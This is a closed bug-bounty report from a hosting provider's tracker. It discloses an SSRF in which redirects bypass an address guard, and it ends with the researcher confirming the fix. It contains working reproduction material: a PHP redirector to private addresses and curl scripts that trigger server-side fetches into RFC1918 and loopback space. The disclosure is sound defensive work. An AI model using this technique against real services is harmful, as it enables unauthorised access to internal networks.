- Status Closed
-
Assigned To
cbay - Private
Opened by Bores - 25.08.2026
Last edited by cbay - 25.08.2026
FS#460 - Incomplete fix for FS#401: SSRF address guard is not re-applied on HTTP redirects
Summary
The installation script source URI feature still performs server-side fetches of user-supplied URLs. The address guard added after FS#401 works correctly on the URL submitted in the form: it resolves hostnames and refuses private destinations before opening any connection. It is not re-applied when the fetcher follows an HTTP redirect. A URL that passes the check and then answers with a 302 sends the backend to any destination the attacker chooses, including RFC1918 space and the fetching host's own loopback. The full response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive FS#401 was fixed for.
Vulnerable asset
https://admin.alwaysdata.com/site/application/script/add/ and https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri.
The fetch is triggered by POST https://admin.alwaysdata.com/site/application/script/<id>/update_script/.
The fetching host identified itself as 2a00:b6e0:1:84:1::1 running python-requests/2.32.5.
Root cause
The guard is bound to the submitted input rather than to the connections the HTTP client actually makes. It runs once, resolves the hostname, and rejects private addresses, which is why a direct submission fails in well under a second with no connection attempt. The client is then handed the URL with its default redirect behaviour, and the Location value of a 301 or 302 never passes back through the same check before the next connection is opened.
Steps to reproduce
Everything below uses curl and a shell. Account used: boresbbt2, a free-tier account I own. Redirecting host: bores.alwaysdata.net, a site I own. No alwaysdata internal service was contacted.
Step 1. On a host you control, publish a page that redirects to an unroutable private address. 10.255.255.1 is used because a real connection attempt to it can only end in a timeout, which makes the result unambiguous.
<?php header("Location: http://10.255.255.1:8080/", true, 302); exit;
Step 2. Log in to admin.alwaysdata.com and save the session cookies.
JAR=/tmp/ad.txt CSRF=$(curl -s -c $JAR https://admin.alwaysdata.com/login/ \ | grep -oE 'name="csrfmiddlewaretoken" value="[^"]+' | head -1 | sed 's/.*value="//') curl -s -b $JAR -c $JAR -X POST https://admin.alwaysdata.com/login/ \ -H "Referer: https://admin.alwaysdata.com/login/" \ --data-urlencode "csrfmiddlewaretoken=$CSRF" \ --data-urlencode "login=YOUR_EMAIL" \ --data-urlencode "password=YOUR_PASSWORD" -o /dev/null
Step 3. Create an application script. The installation script must start with a shebang followed by commented YAML, otherwise the form rejects it.
BODY=$'#!/bin/bash\n# site:\n# type: custom\necho installed' ADD=https://admin.alwaysdata.com/site/application/script/add/ CSRF=$(curl -s -b $JAR -c $JAR $ADD \ | grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//') curl -s -b $JAR -c $JAR -X POST $ADD -H "Referer: $ADD" \ --data-urlencode "csrfmiddlewaretoken=$CSRF" \ --data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \ --data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \ --data-urlencode "script=$BODY" -o /dev/null
Note the id of the created script from https://admin.alwaysdata.com/site/application/script/ and use it as ID below.
Step 4. Set script_upstream_uri to the private address directly, trigger the fetch, and time it. The guard refuses it and the call returns immediately.
BASE=https://admin.alwaysdata.com/site/application/script/$ID/ csrf() { curl -s -b $JAR -c $JAR $BASE \ | grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//'; } curl -s -b $JAR -c $JAR -X POST $BASE -H "Referer: $BASE" \ --data-urlencode "csrfmiddlewaretoken=$(csrf)" \ --data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \ --data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \ --data-urlencode "script=$BODY" \ --data-urlencode "script_upstream_uri=http://10.255.255.1:8080/" -o /dev/null curl -s -b $JAR -c $JAR -X POST ${BASE}update_script/ -H "Referer: $BASE" \ --data-urlencode "csrfmiddlewaretoken=$(csrf)" -o /dev/null -w 'total=%{time_total}s\n'
Step 5. Repeat exactly the same two calls, changing only script_upstream_uri to the redirector from step 1. The guard passes it, the fetcher follows the 302, and the connection to 10.255.255.1 is really attempted, so the call now blocks until the TCP timeout.
--data-urlencode "script_upstream_uri=https://YOUR-HOST/r_priv.php"
Step 6. Compare the two timings. Five independent runs on 2026-08-25, the last of which was a clean run following these steps from a fresh login and a new script object:
direct http://10.255.255.1:8080/ 0.635s 0.591s 0.591s 0.584s 0.589s redirect -> http://10.255.255.1:8080/ 20.340s 20.447s 20.397s 20.108s 20.631s
The direct case is refused by the guard with no connection attempt. The redirect case blocks until the TCP timeout, which is only possible if the connection to 10.255.255.1 was really opened.
Additional observations
The same split holds for other private ranges, and the loopback of the fetching host answers, an immediate RST rather than a timeout:
direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard redirect -> http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out redirect -> http://127.0.0.1:1/ 0.668s immediate RST, loopback reached and answered
Redirect chains are followed at depth, so the stored value has no relation to where the request ends up. A three hop chain of ordinary looking pages on my own site, the last of which points at 10.255.255.1:8080, still reaches the private address and blocks for 20.035s. In the two hop case the content of the final target was fetched and stored while the saved script_upstream_uri was only https://bores.alwaysdata.net/hok.php. Anything that inspects the stored URI, whether that is triage, logging or an allowlist of trusted sources, therefore sees a harmless public URL while the fetch goes somewhere else entirely, and the attacker can retarget at any time without touching the record.
The guard does handle DNS: http://10.255.255.1.nip.io:8080/, a public name that resolves to 10.255.255.1, is refused in 1.485s, the extra time being the lookup before the rejection. So the weakness is specifically the redirect hop, not name resolution.
My own web access log shows the fetch is server-side and that the backend follows the redirect itself:
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /redir.php HTTP/2.0" 302 0 "-" "python-requests/2.32.5" 2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /bbt.sh HTTP/2.0" 200 72 "-" "python-requests/2.32.5"
Both lines carry the same timestamp: one operation, two hops.
The response body is returned to the attacker unmodified and unbounded. Pointing the redirect at a page serving plain HTML rather than a script stored that HTML verbatim in the installation script textarea, and a redirect to a 1,040,057 byte file stored 1,040,058 bytes with the end marker intact, so there is no content-type check and no size limit on what comes back.
Expected behaviour
A destination that is refused when submitted directly should also be refused when it is reached through a redirect. The check should follow the connection, not the input string.
Impact
An authenticated free-tier user can make an alwaysdata backend issue arbitrary HTTP requests into private address space and the fetching host's own loopback, and read the entire response back out of the installation script field, at any size. That is the capability FS#401 was rated Critical and paid for, reachable again through a single redirect that costs the attacker one line of PHP on any host they control.
Because chains are followed and the stored URI stays innocuous, the record left behind on the account shows a normal public URL, so this is not visible by looking at what users saved in the field.
Reachability sets the ceiling on what I proved. I stopped at showing that connections to private destinations are attempted, that the loopback of the fetching host answers, and that arbitrary response bodies come back in full. I did not enumerate internal services or retrieve any internal content, because the programme rules say not to go playing around on internal networks and to report a potential SSRF as soon as it is believed to exist.
Two related things do hold and are worth recording: the guard resolves hostnames, so DNS rebinding through a public name is not available, and file:// is refused both when submitted directly and when reached through a redirect, so this is not a local file read.
Suggested fix
Apply the address check to every connection the client makes, not only to the submitted string. With requests that means either setting allow_redirects=False on this fetch and rejecting any 3xx outright, or walking the redirect chain manually and running the existing guard against each Location before it is followed. Validating the resolved address at connect time, for example through a custom transport adapter, covers both the redirect hop and any future path that reaches the same client. A regression test that submits a URL redirecting to 127.0.0.1 and to an RFC1918 address and asserts the fetch is refused would catch this class directly.
Classification
CWE-918 Server-Side Request Forgery, reached through CWE-441 Unintended Proxy or Intermediary. Incomplete fix for FS#401 .
Testing scope
Testing used only accounts I own, bores and boresbbt2, with my own site as the redirecting host. No automated scanner was used and the request rate was low and manual. No internal service was enumerated and no third-party data was accessed. All test artefacts were removed afterwards: the application script objects were deleted and the redirect and marker files were removed from the site root.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
poc.sh
Hello,
Can you confirm that the bug is fixed?
Kind regards,
Cyril
Hello Cyril,
Yes, confirmed fixed. I retested it today with the same setup.
The fetcher no longer follows redirects at all. My own site's access log shows it requesting the redirector and then stopping, and the target is never fetched. Before the fix both appeared under the same timestamp:
before 25/Aug/2026:03:58:36 GET /redir.php 302 python-requests/2.32.5 25/Aug/2026:03:58:36 GET /bbt.sh 200 python-requests/2.32.5 after 25/Aug/2026:10:03:01 GET /bbt.sh 200 python-requests/2.32.5 (submitted directly, still works) 25/Aug/2026:10:03:06 GET /redir.php?t=http://bores.alwaysdata.net/bbt.sh 302 (no request follows)The two "after" lines are the same target URL over the same plain http, one submitted directly and one reached through a redirect, so the difference is the redirect handling and nothing else.
The timing agrees. A redirect to unroutable 10.255.255.1:8080 used to block for about 20 seconds, which was a real connection attempt timing out; it now returns in 0.74s, so nothing is attempted. I tried 301, 302, 303, 307 and 308 and all five behave the same way.
Note that the redirect is refused even when it points at a public address the same fetcher accepts when submitted directly, so redirects appear to be disabled outright rather than re-validated.
One small non-security note while I was there. The redirect case comes back as a generic HTTP 500 ("Une erreur est survenue"), whereas a directly submitted private address is rejected in about 0.6s without a 500. A validation message in the redirect case would be friendlier, and it would keep those attempts out of your exception logs.
The script object and files I created for this retest have been removed.
Kind regards,
Bores
Thanks, you can open a support ticket to claim your bounty.
Hello Cyril,
Thanks. I have opened a support ticket to claim it, referencing this report and the `bores` account.
Happy to answer anything else you need on
FS#460.Kind regards,
Bores